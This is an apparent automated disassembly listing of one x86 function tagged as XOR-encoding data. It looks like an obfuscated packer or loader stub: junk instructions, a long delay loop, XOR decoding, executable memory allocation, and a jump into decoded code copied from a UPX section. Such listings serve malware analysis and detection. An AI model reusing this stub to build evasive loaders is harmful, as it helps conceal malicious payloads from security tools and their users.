Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x780da20b
not edi
not esi
mov edi, esi
popal
not edi
and esi, esi
mov ebx, 0
mov edi, eax
sub ecx, 0x80ba33d1
add ecx, 0x50f321e9
mov edx, edi
mov esi, ecx
not ecx
mov eax, edx
inc esi
sub esi, 0xa891a559
inc ebx
dec ecx
sub esi, ecx
cmp ebx, 0x100e0b4
jne 0xa789c2
inc esi
inc ecx
or edi, esi
add edi, 0xd0ba1574
mov edi, 0xa78796
mov esi, eax
add eax, 0xe22d4504
mov ebx, 0xa7898a
sub esi, edx
or edx, esi
sub eax, 0xcd050f2f
mov ecx, dword [edi]
sub edx, 0x7872fe96
mov esi, 0x6927bce0
and ecx, 0xff
sub edx, 1
sub edx, esi
dec esi
xor dword [ebx], ecx
not esi
sub esi, edx
add ebx, 1
mov eax, esi
add edx, 0x37feb735
inc edi
dec edx
and esi, edx
cmp ebx, entry0
jl 0xa78a15
inc edx
mov eax, edx
or eax, eax
add esi, 0xe0b386e
dec edi
inc ecx
mov esi, 0xa7898e
not ebx
add edx, edx
mov esi, dword [esi]
not ecx
sub edi, edx
inc ebx
mov esi, dword [esi]
add edi, 1
sub edi, 0x2634947f
push esi
mov edx, edi
add edx, 0x64563281
mov esi, 0xa7898a
mov edi, ebx
dec edx
sub edx, ecx
mov esi, dword [esi]
sub ebx, edi
sub edx, 0xa4f48bb8
mov esi, dword [esi]
not edx
mov ebx, edi
push 0xa78992
or ecx, edi
inc ecx
mov ecx, edi
call esi
or edx, edi
add ecx, edx
pop esi
inc ebx
mov edi, 0xe22c975a
sub edx, 0x3916365a
push 0xa7899f
not edi
sub edi, 1
sub edx, 0x8665f01b
sub esp, 4
mov dword [esp], eax
sub ecx, edi
mov ecx, 0x7a5ca1f6
call esi
add ebx, ecx
mov ecx, 0x6d42c3b3
not ecx
sub esp, 4
mov dword [esp], 0x40
and ebx, edx
mov ebx, edx
sub esp, 4
mov dword [esp], 0x3000
sub ecx, 0xdd3676c3
add ecx, 1
add ecx, 0xf1ccf19e
push 0x200003f9
dec ecx
add edi, 1
push 0
add edx, 0xdc456172
sub ebx, 0x6dafd2a9
call eax
sub edx, ecx
sub edx, ebx
add eax, 0x2000034e
sub ecx, 0xd61c44a9
add ecx, 0x4cedf3d3
sub edi, ebx
mov esi, 0x9737fd1e
not ecx
sub ecx, 0x36542d58
not edi
mov dword [eax], esi
not ecx
dec ebx
not edx
mov esi, dword [eax]
inc ebx
and ebx, edi
not edi
cmp esi, 0x9737fd1e
je 0xa78b78
mov eax, 0
mov byte [eax], bl
or ecx, edx
dec edi
not ebx
and edi, edx
sub ecx, 1
add edi, ebx
and edi, edi
inc edi
mov eax, section.UPX1
not esi
sub edi, 0x3cfa5fa
mov edx, 0xa78795
sub edi, esi
not esi
not esi
mov ebx, 0
dec edi
not esi
mov esi, 0x5ba4591e
mov ecx, 0xa78796
inc esi
inc edi
lea ecx, [ecx + ebx]
add esi, 0xdfdeb5c1
inc esi
mov ecx, dword [ecx]
add edi, 0xaed658a7
mov edi, esi
and ecx, 0xff
add edi, edi
inc esi
inc ebx
sub esi, 0xc218879d
add edi, 0xd411c523
sub esi, edi
cmp ebx, 0x1f4
jne 0xa78bef
mov ebx, 0
sub edi, 0x8b8c0cf1
sub esi, edi
add edi, 0xc038a79b
add edi, edi
xor dword [eax], ecx
add edi, 0x9b5c4629
dec edi
or esi, esi
add eax, 2
sub edi, esi
sub edi, esi
cmp eax, edx
jl 0xa78baf
add esi, esi
and esi, esi
and edi, edi
mov esi, edi
mov ecx, section.UPX1
add ebx, 0xbf7ca401
add eax, 0xdf153705
add eax, eax
mov edi, section.UPX1
add ebx, 0x468ba71a
add eax, 0x23f0600
sub ebx, 0x6fd11d05
mov esi, 0xa78795
mov ebx, eax
mov eax, 0x5707b0ad
mov edx, 0
add eax, 0x289f2f2b
mov eax, 0x2fa77106
mov dl, byte [edi]
mov eax, ebx
inc eax
mov byte [ecx], dl
not eax
or eax, eax
inc ecx
add eax, ebx
inc eax
add edi, 2
sub eax, 0xcf285a25
not eax
cmp edi, esi
jle 0xa78c6a
dec eax
and eax, eax
and ebx, ebx
mov edi, 0xd0ba83c4
mov esi, edi
add edi, 1
sub esp, 4
mov dword [esp], 0x8dc6a0
or esi, edi
add edi, 1
not esi
ret